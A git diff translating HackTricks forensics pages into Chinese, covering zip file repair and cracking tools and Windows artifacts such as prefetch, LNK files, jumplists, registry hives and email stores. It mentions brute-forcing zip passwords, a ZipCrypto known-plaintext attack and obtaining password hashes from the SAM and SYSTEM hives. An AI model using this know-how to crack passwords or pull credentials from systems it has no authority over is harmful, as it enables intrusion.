diagnosing, repairing, and cracking zip files. Here are some key utilities: +**命令行工具** 用于管理 **zip 文件** 对于诊断、修复和破解 zip 文件至关重要。以下是一些关键工具: -- **`unzip`**: Reveals why a zip file may not decompress. -- **`zipdetails -v`**: Offers detailed analysis of zip file format fields. -- **`zipinfo`**: Lists contents of a zip file without extracting them. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters. +- **`unzip`**: 揭示 zip 文件无法解压的原因。 +- **`zipdetails -v`**: 提供 zip 文件格式字段的详细分析。 +- **`zipinfo`**: 列出 zip 文件的内容而不提取它们。 +- **`zip -F input.zip --out output.zip`** 和 **`zip -FF input.zip --out output.zip`**: 尝试修复损坏的 zip 文件。 +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: 一种用于暴力破解 zip 密码的工具,适用于大约 7 个字符的密码。 -The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. +[Zip 文件格式规范](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) 提供了关于 zip 文件结构和标准的全面细节。 -It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +需要注意的是,受密码保护的 zip 文件 **不加密文件名或文件大小**,这是一个与 RAR 或 7z 文件不同的安全缺陷,后者会加密这些信息。此外,使用较旧的 ZipCrypto 方法加密的 zip 文件在有未加密的压缩文件副本可用时容易受到 **明文攻击**。此攻击利用已知内容来破解 zip 的密码,这一漏洞在 [HackThis 的文章](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) 中有详细说明,并在 [这篇学术论文](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) 中进一步解释。然而,使用 **AES-256** 加密的 zip 文件对这种明文攻击免疫,展示了为敏感数据选择安全加密方法的重要性。 ## References diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index bf7543e9b..f41c22a7a 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -1,504 +1,494 @@ -# Windows Artifacts +# Windows 证据 -## Windows Artifacts +## Windows 证据 {{#include ../../../banners/hacktricks-training.md}} -## Generic Windows Artifacts +## 通用 Windows 证据 -### Windows 10 Notifications +### Windows 10 通知 -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +在路径 `\Users\\AppData\Local\Microsoft\Windows\Notifications` 中可以找到数据库 `appdb.dat`(在 Windows 周年更新之前)或 `wpndatabase.db`(在 Windows 周年更新之后)。 -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +在这个 SQLite 数据库中,可以找到 `Notification` 表,里面包含所有的通知(以 XML 格式),可能包含有趣的数据。 -### Timeline +### 时间线 -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +时间线是 Windows 的一个特性,提供 **访问过的网页、编辑的文档和执行的应用程序的时间顺序历史**。 -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +数据库位于路径 `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`。这个数据库可以用 SQLite 工具打开,或者用工具 [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **生成的 2 个文件,这些文件可以用工具** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **打开**。 -### ADS (Alternate Data Streams) +### ADS(备用数据流) -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +下载的文件可能包含 **ADS Zone.Identifier**,指示 **它是如何** 从内网、互联网等 **下载的**。一些软件(如浏览器)通常会提供更多 **信息**,例如 **文件下载的 URL**。 -## **File Backups** +## **文件备份** -### Recycle Bin +### 回收站 -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: +在 Vista/Win7/Win8/Win10 中,**回收站**可以在驱动器根目录的文件夹 **`$Recycle.bin`** 中找到(`C:\$Recycle.bin`)。\ +当在此文件夹中删除文件时,会创建 2 个特定文件: -- `$I{id}`: File information (date of when it was deleted} -- `$R{id}`: Content of the file +- `$I{id}`: 文件信息(删除日期) +- `$R{id}`: 文件内容 ![](<../../../images/image (1029).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +拥有这些文件后,可以使用工具 [**Rifiuti**](https://github.com/abelcheung/rifiuti2) 获取已删除文件的原始地址和删除日期(使用 `rifiuti-vista.exe` 适用于 Vista – Win10)。 ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../images/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### 卷影复制 -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +卷影复制是微软Windows中包含的一项技术,可以创建计算机文件或卷的**备份副本**或快照,即使在使用时也可以。 -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +这些备份通常位于文件系统根目录下的`\System Volume Information`中,名称由以下图像中显示的**UIDs**组成: ![](<../../../images/image (94).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +使用**ArsenalImageMounter**挂载取证镜像,可以使用工具[**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html)检查卷影复制,甚至**提取文件**。 ![](<../../../images/image (576).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +注册表项`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`包含**不备份**的文件和键: ![](<../../../images/image (254).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +注册表`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`也包含有关`卷影复制`的配置信息。 -### Office AutoSaved Files +### Office自动保存文件 -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +您可以在以下位置找到Office自动保存的文件:`C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## Shell项目 -A shell item is an item that contains information about how to access another file. +Shell项目是包含有关如何访问另一个文件的信息的项目。 -### Recent Documents (LNK) +### 最近文档 (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Windows会在用户**打开、使用或创建文件**时**自动****创建**这些**快捷方式**: - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` - Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +当创建一个文件夹时,也会创建指向该文件夹、父文件夹和祖父文件夹的链接。 -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +这些自动创建的链接文件**包含有关来源的信息**,例如它是一个**文件**还是一个**文件夹**,该文件的**MAC** **时间**,文件存储的**卷信息**以及**目标文件的文件夹**。这些信息在文件被删除的情况下可以用于恢复这些文件。 -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +此外,链接文件的**创建日期**是原始文件**首次使用**的**时间**,而链接文件的**修改日期**是原始文件**最后使用**的**时间**。 -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +要检查这些文件,可以使用[**LinkParser**](http://4discovery.com/our-tools/)。 -In this tools you will find **2 sets** of timestamps: +在此工具中,您将找到**2组**时间戳: -- **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -- **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +- **第一组:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +- **第二组:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate。 -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +第一组时间戳引用**文件本身的时间戳**。第二组引用**链接文件的时间戳**。 +您可以通过运行Windows CLI工具[**LECmd.exe**](https://github.com/EricZimmerman/LECmd)获取相同的信息。 ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` - -In this case, the information is going to be saved inside a CSV file. +在这种情况下,信息将保存在 CSV 文件中。 ### Jumplists -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +这些是每个应用程序指示的最近文件。它是 **应用程序使用的最近文件列表**,您可以在每个应用程序中访问。它们可以 **自动创建或自定义**。 -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +自动创建的 **jumplists** 存储在 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`。jumplists 的命名格式为 `{id}.autmaticDestinations-ms`,其中初始 ID 是应用程序的 ID。 -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +自定义的 jumplists 存储在 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`,通常是因为文件发生了某些 **重要** 事件(可能被标记为收藏)。 -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. +任何 jumplist 的 **创建时间** 表示 **文件首次访问的时间**,**修改时间为最后一次**。 -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +您可以使用 [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) 检查 jumplists。 ![](<../../../images/image (168).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_请注意,JumplistExplorer 提供的时间戳与 jumplist 文件本身相关_) ### Shellbags -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**点击此链接了解什么是 shellbags。**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## 使用 Windows USB -It's possible to identify that a USB device was used thanks to the creation of: +可以通过以下方式识别 USB 设备的使用: - Windows Recent Folder - Microsoft Office Recent Folder - Jumplists -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +请注意,一些 LNK 文件不是指向原始路径,而是指向 WPDNSE 文件夹: ![](<../../../images/image (218).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +WPDNSE 文件夹中的文件是原始文件的副本,因此在 PC 重启后不会保留,GUID 是从 shellbag 中获取的。 -### Registry Information +### 注册表信息 -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[查看此页面以了解](interesting-windows-registry-keys.md#usb-information) 哪些注册表键包含有关连接的 USB 设备的有趣信息。 ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +检查文件 `C:\Windows\inf\setupapi.dev.log` 以获取 USB 连接发生的时间戳(搜索 `Section start`)。 -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) +![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ### USB Detective -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com) 可用于获取有关已连接到图像的 USB 设备的信息。 ![](<../../../images/image (452).png>) ### Plug and Play Cleanup -The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion. +名为“Plug and Play Cleanup”的计划任务主要用于删除过时的驱动程序版本。与其指定的保留最新驱动程序包版本的目的相反,在线来源表明它还针对过去 30 天未活动的驱动程序。因此,过去 30 天未连接的可移动设备的驱动程序可能会被删除。 -The task is located at the following path: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. +该任务位于以下路径:`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`。 -A screenshot depicting the task's content is provided: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) +提供了任务内容的屏幕截图: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Key Components and Settings of the Task:** +**任务的关键组件和设置:** -- **pnpclean.dll**: This DLL is responsible for the actual cleanup process. -- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine. -- **MaintenanceSettings**: - - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance. - - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance. +- **pnpclean.dll**:此 DLL 负责实际的清理过程。 +- **UseUnifiedSchedulingEngine**:设置为 `TRUE`,表示使用通用任务调度引擎。 +- **MaintenanceSettings**: +- **Period ('P1M')**:指示任务调度程序在常规自动维护期间每月启动清理任务。 +- **Deadline ('P2M')**:指示任务调度程序,如果任务连续两个月失败,则在紧急自动维护期间执行该任务。 -This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures. +此配置确保定期维护和清理驱动程序,并在连续失败的情况下重新尝试任务。 -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**有关更多信息,请查看:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) -## Emails +## 电子邮件 -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +电子邮件包含 **2 个有趣的部分:电子邮件的标题和内容**。在 **标题** 中,您可以找到以下信息: -- **Who** sent the emails (email address, IP, mail servers that have redirected the email) -- **When** was the email sent +- **谁** 发送了电子邮件(电子邮件地址、IP、重定向电子邮件的邮件服务器) +- **何时** 发送了电子邮件 -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +此外,在 `References` 和 `In-Reply-To` 标头中,您可以找到消息的 ID: ![](<../../../images/image (593).png>) -### Windows Mail App +### Windows Mail 应用 -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +此应用程序以 HTML 或文本格式保存电子邮件。您可以在 `\Users\\AppData\Local\Comms\Unistore\data\3\` 的子文件夹中找到电子邮件。电子邮件以 `.dat` 扩展名保存。 -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +电子邮件的 **元数据** 和 **联系人** 可以在 **EDB 数据库** 中找到: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails. +**将文件的扩展名** 从 `.vol` 更改为 `.edb`,您可以使用工具 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) 打开它。在 `Message` 表中,您可以看到电子邮件。 ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: +当使用 Exchange 服务器或 Outlook 客户端时,将会有一些 MAPI 标头: -- `Mapi-Client-Submit-Time`: Time of the system when the email was sent -- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -- `Mapi-Entry-ID`: Message identifier. -- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) +- `Mapi-Client-Submit-Time`:发送电子邮件时系统的时间 +- `Mapi-Conversation-Index`:线程的子消息数量和每条消息的时间戳 +- `Mapi-Entry-ID`:消息标识符。 +- `Mappi-Message-Flags` 和 `Pr_last_Verb-Executed`:有关 MAPI 客户端的信息(消息已读?未读?已回复?重定向?不在办公室?) -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: +在 Microsoft Outlook 客户端中,所有发送/接收的消息、联系人数据和日历数据都存储在 PST 文件中,路径为: -- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) +- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook`(WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. +注册表路径 `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` 指示正在使用的文件。 -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). +您可以使用工具 [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) 打开 PST 文件。 ![](<../../../images/image (498).png>) -### Microsoft Outlook OST Files +### Microsoft Outlook OST 文件 -An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized. +**OST 文件** 是 Microsoft Outlook 在配置为 **IMAP** 或 **Exchange** 服务器时生成的,存储的信息与 PST 文件类似。此文件与服务器同步,保留 **过去 12 个月** 的数据,最大大小为 50GB,并位于与 PST 文件相同的目录中。要查看 OST 文件,可以使用 [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)。 -### Retrieving Attachments +### 检索附件 -Lost attachments might be recoverable from: +丢失的附件可能可以从以下位置恢复: -- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- 对于 **IE10**:`%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- 对于 **IE11 及更高版本**:`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -### Thunderbird MBOX Files +### Thunderbird MBOX 文件 -**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +**Thunderbird** 使用 **MBOX 文件** 存储数据,位于 `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`。 -### Image Thumbnails +### 图像缩略图 -- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion. -- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path. -- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files. +- **Windows XP 和 8-8.1**:访问带有缩略图的文件夹会生成一个 `thumbs.db` 文件,存储图像预览,即使在删除后也会保留。 +- **Windows 7/10**:通过 UNC 路径访问时会创建 `thumbs.db`。 +- **Windows Vista 及更高版本**:缩略图预览集中在 `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` 中,文件名为 **thumbcache_xxx.db**。 [**Thumbsviewer**](https://thumbsviewer.github.io) 和 [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) 是查看这些文件的工具。 -### Windows Registry Information +### Windows 注册表信息 -The Windows Registry, storing extensive system and user activity data, is contained within files in: +Windows 注册表存储大量系统和用户活动数据,包含在以下文件中: -- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys. -- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`. -- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`. -- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards. +- `%windir%\System32\Config` 用于各种 `HKEY_LOCAL_MACHINE` 子键。 +- `%UserProfile%{User}\NTUSER.DAT` 用于 `HKEY_CURRENT_USER`。 +- Windows Vista 及更高版本在 `%Windir%\System32\Config\RegBack\` 中备份 `HKEY_LOCAL_MACHINE` 注册表文件。 +- 此外,程序执行信息存储在 `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` 中,从 Windows Vista 和 Windows 2008 Server 开始。 -### Tools +### 工具 -Some tools are useful to analyze the registry files: +一些工具对于分析注册表文件非常有用: -- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +- **注册表编辑器**:它安装在 Windows 中。它是一个 GUI,用于浏览当前会话的 Windows 注册表。 +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md):它允许您加载注册表文件并通过 GUI 浏览它们。它还包含书签,突出显示包含有趣信息的键。 +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0):同样,它具有一个 GUI,允许浏览加载的注册表,并且还包含突出显示加载的注册表中有趣信息的插件。 +- [**Windows 注册表恢复**](https://www.mitec.cz/wrr.html):另一个 GUI 应用程序,能够从加载的注册表中提取重要信息。 -### Recovering Deleted Element +### 恢复已删除元素 -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +当一个键被删除时,它被标记为已删除,但在占用的空间被需要之前不会被移除。因此,使用像 **Registry Explorer** 这样的工具可以恢复这些已删除的键。 -### Last Write Time +### 最后写入时间 -Each Key-Value contains a **timestamp** indicating the last time it was modified. +每个键值包含一个 **时间戳**,指示最后一次修改的时间。 ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +文件/注册表 **SAM** 包含系统的 **用户、组和用户密码** 哈希。 -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +在 `SAM\Domains\Account\Users` 中,您可以获取用户名、RID、最后登录、最后失败的登录、登录计数器、密码策略以及帐户创建时间。要获取 **哈希**,您还 **需要** 文件/注册表 **SYSTEM**。 -### Interesting entries in the Windows Registry +### Windows 注册表中的有趣条目 {{#ref}} interesting-windows-registry-keys.md {{#endref}} -## Programs Executed +## 执行的程序 -### Basic Windows Processes +### 基本 Windows 进程 -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +在 [这篇文章](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) 中,您可以了解常见的 Windows 进程以检测可疑行为。 ### Windows Recent APPs -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +在注册表 `NTUSER.DAT` 的路径 `Software\Microsoft\Current Version\Search\RecentApps` 中,您可以找到有关 **执行的应用程序**、**最后一次** 执行的时间和 **启动次数** 的子键。 -### BAM (Background Activity Moderator) +### BAM (后台活动调节器) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +您可以使用注册表编辑器打开 `SYSTEM` 文件,在路径 `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` 中找到有关 **每个用户执行的应用程序** 的信息(注意路径中的 `{SID}`)以及 **它们执行的时间**(时间在注册表的 Data 值中)。 ### Windows Prefetch -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +预取是一种技术,允许计算机静默 **获取用户可能在不久的将来访问的内容所需的资源**,以便更快地访问资源。 -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +Windows 预取由创建 **已执行程序的缓存** 组成,以便能够更快地加载它们。这些缓存作为 `.pf` 文件创建,路径为: `C:\Windows\Prefetch`。在 XP/VISTA/WIN7 中限制为 128 个文件,在 Win8/Win10 中限制为 1024 个文件。 -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +文件名的格式为 `{program_name}-{hash}.pf`(哈希基于可执行文件的路径和参数)。在 W10 中,这些文件是压缩的。请注意,文件的存在仅表明 **程序在某个时刻被执行**。 -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +文件 `C:\Windows\Prefetch\Layout.ini` 包含 **被预取文件的文件夹名称**。此文件包含 **执行次数**、**执行日期** 和 **程序打开的文件** 的信息。 +要检查这些文件,您可以使用工具 [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../images/image (315).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch** 的目标与 prefetch 相同,**通过预测将要加载的内容来更快地加载程序**。然而,它并不替代 prefetch 服务。\ +该服务将在 `C:\Windows\Prefetch\Ag*.db` 中生成数据库文件。 -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +在这些数据库中,您可以找到 **程序的名称**、**执行次数**、**打开的文件**、**访问的卷**、**完整路径**、**时间范围** 和 **时间戳**。 -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +您可以使用工具 [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) 访问这些信息。 ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**系统资源使用监视器** (SRUM) **监视** **进程消耗的资源**。它出现在 W8 中,并将数据存储在位于 `C:\Windows\System32\sru\SRUDB.dat` 的 ESE 数据库中。 -It gives the following information: +它提供以下信息: -- AppID and Path -- User that executed the process -- Sent Bytes -- Received Bytes -- Network Interface -- Connection duration -- Process duration +- AppID 和路径 +- 执行该进程的用户 +- 